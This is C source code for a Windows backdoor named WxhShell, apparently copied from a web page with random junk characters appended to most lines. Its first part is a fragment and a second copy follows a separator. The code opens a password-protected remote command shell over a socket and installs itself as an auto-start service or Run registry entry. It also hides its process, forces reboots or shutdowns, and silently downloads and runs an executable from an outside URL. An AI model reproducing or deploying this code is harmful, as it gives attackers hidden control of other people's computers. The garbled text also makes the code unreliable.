    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #O=^%C 7p  
    if(Boot(SHUTDOWN)) 0p&:9|'z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ])0&el3-  
    else { @4hxGk=  
    closesocket(wsh); *$uKg zv3  
    ExitThread(0); ^8E/I]-  
    } P0UMMn\-#  
    break; awo=%vJ&  
    } b(K.p?bt  
  // 获取shell 3{~h Rd  
  case 's': { nL@P {,J  
    CmdShell(wsh); [Fj h  
    closesocket(wsh); ; N!K/[p=  
    ExitThread(0); x4Eq5"F7}  
    break; l&5| =  
  } q0SvZw]f1  
  // 退出 7| IW\  
  case 'x': { =yfr{5}R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7zpwP  
    CloseIt(wsh); &# `d8}3D  
    break; Km pX^Se[  
    } NS<lmWx+  
  // 离开 V/J[~mN9  
  case 'q': { \fh.D/@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dYk)RX`}7!  
    closesocket(wsh); sK}Ru?a)  
    WSACleanup(); %%kl R{  
    exit(1); 2>?GD@GE  
    break; Vs\ )w>JF  
        } AaKILIIQZ  
  } 1rTA0+h  
  } />)>~_-3  
 LBw,tP  
  // 提示信息 O:pQf/Xn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nvgo6*  
} Sr%~ 5Q[W  
  } Ow+7o@$"/  
H;Z{R@kf  
  return; 2-UZ|y  
} {n #  
$F;$-2  
// shell模块句柄 d ID] {  
int CmdShell(SOCKET sock) sRt|G  
{ P4Wd=Xoz6  
STARTUPINFO si; (47jop0RDQ  
ZeroMemory(&si,sizeof(si)); jAN(r>zVL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ff%m.A8d,4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l.fNkLC#  
PROCESS_INFORMATION ProcessInfo; l<GRM1^kU  
char cmdline[]="cmd"; I\`:(V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B3)#Ou2  
  return 0; 5N`g  
} DpI_`TF#$Z  
?jz{fU  
// 自身启动模式 |oPqX %?  
int StartFromService(void) 7q$9\RR5  
{ sW|u}8`  
typedef struct ;MNEe% TJ  
{ A7~)h}~   
  DWORD ExitStatus; OlMCF.W#3  
  DWORD PebBaseAddress; Qt]nlui~  
  DWORD AffinityMask; 1QjrL@$>15  
  DWORD BasePriority; *E+) mB"~  
  ULONG UniqueProcessId; CDoZv""  
  ULONG InheritedFromUniqueProcessId; UU$ +DL  
}   PROCESS_BASIC_INFORMATION; plb'EP>e  
G@ed2T  
PROCNTQSIP NtQueryInformationProcess; ;bkS0Vmg  
YWd:Ok0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D;d 'ss;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f5mk\^  
gd#  
  HANDLE             hProcess; %Xkynso~  
  PROCESS_BASIC_INFORMATION pbi; K31Fp;K  
-V_e=Y<J/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >L[,.}(9  
  if(NULL == hInst ) return 0; QF!K$?EU[  
*l_1T4]S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zVkHDT[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C Hyb{:<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bZ )3{  
)u3<lpoTy  
  if (!NtQueryInformationProcess) return 0; ww+XE2,  
bZERh:%o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PN+,M50;1  
  if(!hProcess) return 0; &{ntx~Eq  
};29'_.."x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k&yy_r   
z4H!b+   
  CloseHandle(hProcess); D-~HJ  
j$N`JiKM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |~#!e}L(  
if(hProcess==NULL) return 0; }5zH3MPQH  
cf@:rHB}  
HMODULE hMod; h9g5W'.#  
char procName[255]; 7-6_`Q2}Y  
unsigned long cbNeeded; $?wX*  
#^xiv/ sV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~wh8)rm  
~)sb\o  
  CloseHandle(hProcess); WoesE:NiR  
W53i5u(  
if(strstr(procName,"services")) return 1; // 以服务启动 0y2iS' t  
ikyvst>O  
  return 0; // 注册表启动 * RN*Bh|$  
} P0}uTee  
<bIAq8  
// 主模块 k. px  
int StartWxhshell(LPSTR lpCmdLine) T~`m'4"+c  
{ tUz!]P2BUO  
  SOCKET wsl; vHJ~~if  
BOOL val=TRUE; U%w ?muJW  
  int port=0; aMh2[I  
  struct sockaddr_in door; [eG- &u  
> YN<~z-  
  if(wscfg.ws_autoins) Install(); Tet,mzVuu  
YNk?1#k?i  
port=atoi(lpCmdLine); ]*I&104{  
QP[w{T  
if(port<=0) port=wscfg.ws_port; CNf eHMT  
Jq/([  
  WSADATA data; [8O`VSV3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vTP'\^;  
/$+ifiFT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :+!hR4Z~\;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8~}Ti*Urc  
  door.sin_family = AF_INET; \T<?=A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jc)D*Cf  
  door.sin_port = htons(port); pA1Tod  
!oM 1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }3M\&}=8  
closesocket(wsl); &d9";V"E  
return 1; *hFT,1WE=+  
} vF1] L]z:?  
!mq+Oz~  
  if(listen(wsl,2) == INVALID_SOCKET) { 7 tit>dJ  
closesocket(wsl); HQv#\Xi1  
return 1; M6y:ze  
} t6s#19g  
  Wxhshell(wsl); Y7!,s-v4W  
  WSACleanup(); a;([L8^7$l  
@Je{;1   
return 0; CW, Kw  
l(%bdy  
} OC"W=[Myl  
?ry`+nx  
// 以NT服务方式启动 #L BZ%%v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !63x^# kg  
{ #}e)*(  
DWORD   status = 0; ;Fp"]z!Qh+  
  DWORD   specificError = 0xfffffff; '.d el7s  
au0)yg*V1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >qAQNX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NWv1g{M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LGRX@nF#  
  serviceStatus.dwWin32ExitCode     = 0; bBC3% H^  
  serviceStatus.dwServiceSpecificExitCode = 0; ,58D=EgFy  
  serviceStatus.dwCheckPoint       = 0; :);GeZ  
  serviceStatus.dwWaitHint       = 0; c KF 8(  
4}fG{Bk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o D:?fs]  
  if (hServiceStatusHandle==0) return; hZc$`V=R  
xNE<$Bz  
status = GetLastError(); !XzRV?Ih;  
  if (status!=NO_ERROR) }|AUV  
{ %'k^aq FL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oy#Qj3M8=  
    serviceStatus.dwCheckPoint       = 0; g2w0#-  
    serviceStatus.dwWaitHint       = 0; b@z/6y!  
    serviceStatus.dwWin32ExitCode     = status; hPD2/M  
    serviceStatus.dwServiceSpecificExitCode = specificError; dhsQfWg#}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C+*: lLY  
    return; NC@OmSR\0  
  } z.P) :Er  
u= !?<Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &*[T  
  serviceStatus.dwCheckPoint       = 0;  h ej  
  serviceStatus.dwWaitHint       = 0; OpUC98p?@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F0+u#/#  
} ]"{K5s7  
6\/C]![%  
// 处理NT服务事件,比如:启动、停止 ?uOdqMJV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m7g; psg  
{ E3;[*ve  
switch(fdwControl) wM_k D  
{ l#V"14y  
case SERVICE_CONTROL_STOP: LF{d'jJ&K  
  serviceStatus.dwWin32ExitCode = 0; MU%C_d%.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -~]*)&  
  serviceStatus.dwCheckPoint   = 0; qmv%N  
  serviceStatus.dwWaitHint     = 0; Da)9s %_4  
  { &37QUdp+p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cZ%weQa#N)  
  } *d?,i -Q.+  
  return; j01#Wq_\fk  
case SERVICE_CONTROL_PAUSE: |*i0h`a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GC~Tfrf=r  
  break; T>.*c6I b  
case SERVICE_CONTROL_CONTINUE: Abd&p N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -:AknQq  
  break; *<"xF'C  
case SERVICE_CONTROL_INTERROGATE: Xr6UN{_-  
  break; F{B__Kf  
}; *:aJlvk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aQ46euth  
} Y(-4Agq  
bj ZcWYT  
// 标准应用程序主函数 G>d@lt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [#M^:Q  
{ ,*}SfCon  
(7;}F~?h  
// 获取操作系统版本 )&;?|X+p  
OsIsNt=GetOsVer(); s(r(! FZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]fnc.^{  
L6J=m#Ld  
  // 从命令行安装 s+h`,gg9  
  if(strpbrk(lpCmdLine,"iI")) Install(); BC 9rsb  
XGbtmmQG  
  // 下载执行文件 _U|s!60'  
if(wscfg.ws_downexe) { OB>Pk_eQK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0!eZ&.h?4  
  WinExec(wscfg.ws_filenam,SW_HIDE); oV&AJ=|\  
} vp{jh-&  
jDqe)uVvtV  
if(!OsIsNt) { Vf`1'GY  
// 如果时win9x,隐藏进程并且设置为注册表启动 "U4Sn'&h@  
HideProc(); 4b,N"w{v  
StartWxhshell(lpCmdLine); {%)bxk6  
} fnN"a Z  
else gp$oQh#37;  
  if(StartFromService()) wtu WzHrF  
  // 以服务方式启动 :1PT`:Y  
  StartServiceCtrlDispatcher(DispatchTable); 9EIHcUXe  
else ,mx>)} l95  
  // 普通方式启动 ^} %Oq P  
  StartWxhshell(lpCmdLine); ))K3pKyb  
^uD r  
return 0; /608P:U  
} nNSq6 Cj  
soRt<83  
_%?}e|epy  
'+hiCX-_  
=========================================== qfd/t<?|D  
Cb%?s  
oe=^CeW"  
4. 7m*  
_{_ybXG|  
RLu y;z  
" [nZ3}o  
pd?3_yU  
#include <stdio.h> BA4qQCS;5  
#include <string.h> }S\\"SBC  
#include <windows.h> }Dc0 Y  
#include <winsock2.h> sk5h_[tK  
#include <winsvc.h> {0 IEizQ|i  
#include <urlmon.h> h# c.HtVE  
%AwR4"M  
#pragma comment (lib, "Ws2_32.lib") suC]  
#pragma comment (lib, "urlmon.lib") wf)T-]e  
Eaf6rjD  
#define MAX_USER   100 // 最大客户端连接数 H~Xi;[{7  
#define BUF_SOCK   200 // sock buffer &^=6W3RD  
#define KEY_BUFF   255 // 输入 buffer Rq-BsMX!A  
,_,Z<X/  
#define REBOOT     0   // 重启 sOhQu>gN  
#define SHUTDOWN   1   // 关机 Q=}p P*  
5 ?~ ?8Hi  
#define DEF_PORT   5000 // 监听端口 d9^ uEz(  
u 0(H!  
#define REG_LEN     16   // 注册表键长度 I kv@}^p 7  
#define SVC_LEN     80   // NT服务名长度 Uo>pV 9xRG  
80TSE*  
// 从dll定义API v9QR,b` n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pTT7#b(t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9+k7x,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Km7HB!=<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1:h{( %`&  
56T<s+X>  
// wxhshell配置信息 kq&xH;9=.  
struct WSCFG { q+<X*yC  
  int ws_port;         // 监听端口 ~xZFm  
  char ws_passstr[REG_LEN]; // 口令 vPz$jeA  
  int ws_autoins;       // 安装标记, 1=yes 0=no KSe `G;{  
  char ws_regname[REG_LEN]; // 注册表键名 P1tc*2Z  
  char ws_svcname[REG_LEN]; // 服务名 5v >0$Y{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q,w8ca 4~y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r`Y[XzT9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M S$^m2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FW~%xUSE5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $9k7A 8K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1Tz5tU9kR  
p_pI=_:  
}; ? WyL|;b*  
wQ]!Y ?I  
// default Wxhshell configuration |3j'HN5S  
struct WSCFG wscfg={DEF_PORT, \0?^%CD+@  
    "xuhuanlingzhe", |)`<D  
    1, MHar9)$}  
    "Wxhshell", cBs:7Pnp%  
    "Wxhshell", COvcR.*0F  
            "WxhShell Service", }q7rR:g  
    "Wrsky Windows CmdShell Service", ;;#28nV  
    "Please Input Your Password: ", //T1e7)  
  1, `}<x"f7.z  
  "http://www.wrsky.com/wxhshell.exe", hUN]Lm6M  
  "Wxhshell.exe" =8:m:Y&|`G  
    }; A Ws y9  
>1u!(-A  
// 消息定义模块 tl5}#uJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [*^` rQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "O@L IR7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vcm66J.14  
char *msg_ws_ext="\n\rExit."; 8s^CE[TA  
char *msg_ws_end="\n\rQuit."; l-4+{6lz  
char *msg_ws_boot="\n\rReboot..."; fP<Tvf  
char *msg_ws_poff="\n\rShutdown..."; iG*@(  
char *msg_ws_down="\n\rSave to "; i8t%v  
mNhVLB  
char *msg_ws_err="\n\rErr!"; .H;[s  
char *msg_ws_ok="\n\rOK!"; Vm\ly;v'R  
QCjC|T9  
char ExeFile[MAX_PATH]; 5~)m6]-6  
int nUser = 0; H809gm3(Z  
HANDLE handles[MAX_USER]; %N``EnF2  
int OsIsNt; 6xI9 %YDy  
2UqLV^ZY  
SERVICE_STATUS       serviceStatus; EMK>7 aks  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B. '&[A  
"*E06=fiG  
// 函数声明 mY!os91KoO  
int Install(void); =SMI,p&  
int Uninstall(void); -CePtq`  
int DownloadFile(char *sURL, SOCKET wsh); .&Tcds  
int Boot(int flag); g>].m8DZ'  
void HideProc(void); sv}k_6XgY  
int GetOsVer(void); ?VUW.-  
int Wxhshell(SOCKET wsl); 2L?jp:$;X  
void TalkWithClient(void *cs); MC=pN(l  
int CmdShell(SOCKET sock); Jw"fqr  
int StartFromService(void); Q[sj/  
int StartWxhshell(LPSTR lpCmdLine); D3,9X#B=  
fH{ _X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5ZpU><y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); abAX)R'  
W:5,zFW  
// 数据结构和表定义 l6kqP  
SERVICE_TABLE_ENTRY DispatchTable[] = )g;*u,C  
{ )P>-~G2P  
{wscfg.ws_svcname, NTServiceMain}, Rb!V{jQ  
{NULL, NULL} pCOtk'n  
}; UqsJ44QEZ  
W_JFe(=3,  
// 自我安装 rt +a/:4+  
int Install(void) $Sg5xkV,a  
{ E(%_aFx>/  
  char svExeFile[MAX_PATH]; 9:[L WT&  
  HKEY key; j_w"HiNBA  
  strcpy(svExeFile,ExeFile); i6Zsn#Z7)  
_d<xxF^q  
// 如果是win9x系统,修改注册表设为自启动 O4Z_v%2M  
if(!OsIsNt) { Cf&.hod  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qGezmkNFm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J*I G]2'H  
  RegCloseKey(key); R#8.]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z@i"/~B|4\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pGO=3=O  
  RegCloseKey(key); J%9)&a W  
  return 0; <,:p?36  
    } "CH3\O\  
  } L_ &`  
} -(ev68'}W  
else { CN(}0/  
[9c|!w^F  
// 如果是NT以上系统,安装为系统服务 c}$C=s5 h}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l:'\3-2a  
if (schSCManager!=0) j2dptM3t{  
{ Wjf,AjL\  
  SC_HANDLE schService = CreateService J/T$.*X  
  ( <r`^iR)%  
  schSCManager, JSf \ApX  
  wscfg.ws_svcname, B:?MMXB  
  wscfg.ws_svcdisp, ; fOkR+  
  SERVICE_ALL_ACCESS, )c; YR}tC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }hoyjzv]L  
  SERVICE_AUTO_START, }={TVs^  
  SERVICE_ERROR_NORMAL, s2 8t'  
  svExeFile, &-e@Et`Pg  
  NULL, K*"Wq:T;B  
  NULL, V DN@=/  
  NULL, Gt|m;o  
  NULL, OQ=0>;>  
  NULL 8k.<xWDU  
  ); I=;.o>  
  if (schService!=0) 'c6t,%  
  { f$2DV:wuC  
  CloseServiceHandle(schService); r9\7I7z  
  CloseServiceHandle(schSCManager); A ,$CYLj+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 78u9> H  
  strcat(svExeFile,wscfg.ws_svcname); }HLs.k4-;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eI@nskq#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @Q%9b)\\  
  RegCloseKey(key); zxD~W"R:s  
  return 0; ~R+,4  
    } Dwx^hNh  
  } dm:2:A8^  
  CloseServiceHandle(schSCManager); dX^d\ wX  
} awC:{5R8v  
} 3<"!h1x5  
_G62E $=  
return 1; 9| {t%F=-  
} le*'GgU#  
kM JA#{<  
// 自我卸载 GxynLXWo>  
int Uninstall(void) V1]QuQ{&s  
{ Sy0-tK4  
  HKEY key; `|2p1Ei  
zKllwIf i  
if(!OsIsNt) { 9!>Ks8'.d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (\zxiK  
  RegDeleteValue(key,wscfg.ws_regname); yV4rS6=  
  RegCloseKey(key); ey/=\@[p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6[k7e!&  
  RegDeleteValue(key,wscfg.ws_regname); 8N,mp>~  
  RegCloseKey(key); fvNj5Vq:  
  return 0; #`5>XfbmQ(  
  } lK2=[%,~  
} j7>a ^W  
} X{BS]   
else { ahmxbv3f=5  
t`!@E#VK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oQ{ X2\  
if (schSCManager!=0) Pxy+W*t  
{ tmgZNg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &`LR{7m  
  if (schService!=0) ;JHR~ TV  
  { O,_k.EH  
  if(DeleteService(schService)!=0) { oa"_5kn,  
  CloseServiceHandle(schService); \&,{N_G#L.  
  CloseServiceHandle(schSCManager); 12 TX_0  
  return 0; G^W'mV$xl  
  } t4H*&U  
  CloseServiceHandle(schService); x1'4njTV$  
  } C9VtRq  
  CloseServiceHandle(schSCManager); AcQmY?  
} p?H2W-  
} ZP(T=Q  
)/FEjo  
return 1; WMXxP gik  
} h~r&7G@[}  
~R*01AnZ  
// 从指定url下载文件 (/^dyG|X'  
int DownloadFile(char *sURL, SOCKET wsh) 3;<Vv*a"Dm  
{ I*`;1+`  
  HRESULT hr; d cG)ql4d  
char seps[]= "/"; %h9'kJzNk  
char *token; t^|GcU]  
char *file;   B'QcD  
char myURL[MAX_PATH]; PZYVLUw `  
char myFILE[MAX_PATH]; i$jzn ga  
6BY(Y(z  
strcpy(myURL,sURL); 9.^2CM6l  
  token=strtok(myURL,seps); QTmMj@R&(  
  while(token!=NULL) k8S`44vj  
  { Dwa.ZY}-  
    file=token; QZ2a1f'G  
  token=strtok(NULL,seps); F['%?+<3  
  } |Ca %dg9$@  
{9;x\($&a  
GetCurrentDirectory(MAX_PATH,myFILE); 3'xmq  
strcat(myFILE, "\\"); [ ;LP6n7v  
strcat(myFILE, file); Lz:Q6  
  send(wsh,myFILE,strlen(myFILE),0); N;|:Ks#!  
send(wsh,"...",3,0); @@=e-d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 557%^)v  
  if(hr==S_OK) :7L[v9'  
return 0; ;4Wz0suf  
else v"8i2+j  
return 1; pp1kcrE\M  
n>L24rL  
} 3ahbv%y  
i0g/'ZP  
// 系统电源模块 I2^@>/p8\(  
int Boot(int flag) 'X P  
{ S '(K  
  HANDLE hToken; 8o\KF(I  
  TOKEN_PRIVILEGES tkp; B.F~/PET  
B{2WvPX~q  
  if(OsIsNt) { eEZZ0NNe;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {D`_q|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s#4Q?<65u  
    tkp.PrivilegeCount = 1; |,lw$k93  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n^2'O:V s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FC q&-  
if(flag==REBOOT) {  BRF4 p:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9}<iS w[  
  return 0; l % 0c{E~  
} 0kxe5*-|  
else { iM +p{ /bN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K [R.B!;N  
  return 0; .gs:.X)TG9  
} R&@NFin  
  } j%ux,0Y  
  else { 8<_dNt'91  
if(flag==REBOOT) { HbMD5(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ( yv)zg9  
  return 0; Ji e=/:&  
} *f k3IvAXu  
else { uXm}THI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q!whWA  
  return 0; Xp?WoC N  
} m* rw?nLZ  
} @M=\u-jJ.  
Mp_SL^g|  
return 1; ^wW{7Uq>  
}  E-L>.tD  
fK; I0J  
// win9x进程隐藏模块 4)].{Z4 q  
void HideProc(void) V\P .uOI  
{ 5z@QAQ  
}c ,:uN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;wF)!d  
  if ( hKernel != NULL ) ~=/.ZUQNX  
  { !I+F8p   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Np>0c -S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v])R6-T-  
    FreeLibrary(hKernel); JVq`v#8  
  } XEb+Z7L1  
T&u25"QOf  
return; 6r}w  
} ?V$@2vBVX4  
H5/w!y@  
// 获取操作系统版本 J  7]LMw7  
int GetOsVer(void) K?gO ]T{6  
{ #|;;>YnZ   
  OSVERSIONINFO winfo; 22gh,e2o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6bd{3@   
  GetVersionEx(&winfo); N7#,x9+E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yq,%<%+  
  return 1; .v[!_bk8C  
  else Cg&:+  
  return 0; ~09kIO)  
} a~A"uLBR  
g<s;uRA4O9  
// 客户端句柄模块 TykY>cl   
int Wxhshell(SOCKET wsl) KYC<*1k  
{ >+F +"NAN  
  SOCKET wsh; b0h>q$b  
  struct sockaddr_in client; `V=F>s$W  
  DWORD myID; Oi$$vjs2  
C`b)}dY  
  while(nUser<MAX_USER) gM_MK8py  
{ :8l#jU `y  
  int nSize=sizeof(client); ]:Sb#=,!&!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g]m}@b6(h  
  if(wsh==INVALID_SOCKET) return 1; Mk|*=#e;  
yCZ[z A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vh8RVFi;c  
if(handles[nUser]==0) ](SqLTB+?  
  closesocket(wsh); ]tc Cr;  
else .y2np  
  nUser++; 0uhIJc'2  
  } Q0(3ps~H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k?`Q\  
/9(8ML#E  
  return 0; laA3v3*  
} B5MEE  
F?hGt]o  
// 关闭 socket 2/RW(U  
void CloseIt(SOCKET wsh) !Tu4V\^~A  
{ 'OvyQ/T  
closesocket(wsh); Jk,}3Cr/  
nUser--; Hg`2- Nl  
ExitThread(0); T74."Lo#  
} ({9P, D~2  
],w+4;+  
// 客户端请求句柄 m}GEx)Y D  
void TalkWithClient(void *cs) w02t9vz  
{ c2Up<#t  
d1hXzJs  
  SOCKET wsh=(SOCKET)cs; #b+>O+vx8  
  char pwd[SVC_LEN]; aKk0kC   
  char cmd[KEY_BUFF]; "-A@d&5.  
char chr[1]; `!7QegJa"  
int i,j; &WHK|bl  
U_1N*XK6$  
  while (nUser < MAX_USER) { 02mu%|"  
MB3 N3,yL  
if(wscfg.ws_passstr) { C.Re*;EI,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a 8.Xy])!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [*v- i%U}  
  //ZeroMemory(pwd,KEY_BUFF); \!!1o+#1j  
      i=0; 0;:AT|U/d  
  while(i<SVC_LEN) { pb}4{]sI  
/V f L(  
  // 设置超时 }W$}blbp  
  fd_set FdRead; xT;j_'9U;  
  struct timeval TimeOut; q\T}jF\t  
  FD_ZERO(&FdRead); , \R,O  
  FD_SET(wsh,&FdRead); .q_SA-!w>  
  TimeOut.tv_sec=8; HFTDea+#  
  TimeOut.tv_usec=0; axLO: Q,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C5&+1VrP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _Rey~]iJJ8  
=qFDrDt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wm>AR? b  
  pwd=chr[0]; *[0)]|r  
  if(chr[0]==0xd || chr[0]==0xa) { Zm#qW2a]P  
  pwd=0; Y"'k $jS-  
  break; VDC"tSQ  
  } {6 brVN.V  
  i++; 5HMDug;   
    } jW0aIS2O  
YV"LM6`  
  // 如果是非法用户,关闭 socket z+F:_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O:Ob{k  
} w"?E=RS  
l527>7 eT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FN295:Iuw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @d_;p<\l  
V9<CeTl'  
while(1) { (]*!`(_b  
2Wq/_:  
  ZeroMemory(cmd,KEY_BUFF); 4&'_~qU  
k ks ?S',  
      // 自动支持客户端 telnet标准   :j( D&?ao  
  j=0; eKek~U&  
  while(j<KEY_BUFF) { a#i%7mfn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C! J6"j  
  cmd[j]=chr[0]; ~AG."<}  
  if(chr[0]==0xa || chr[0]==0xd) { \|q.M0  
  cmd[j]=0; /7-qb^V  
  break; AlQ  
  } B(U0 ~{7a  
  j++; }Q%fY&#(bp  
    } 1PdxoRa4=  
o;M-M(EZQ6  
  // 下载文件 f+D a W  
  if(strstr(cmd,"http://")) { ZeP3 Yjr3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }t9A#GOz  
  if(DownloadFile(cmd,wsh)) 9G=ZB^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ky98Bz%  
  else {;j@-=pV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >"z&KZKI  
  } ht@s!5\LK  
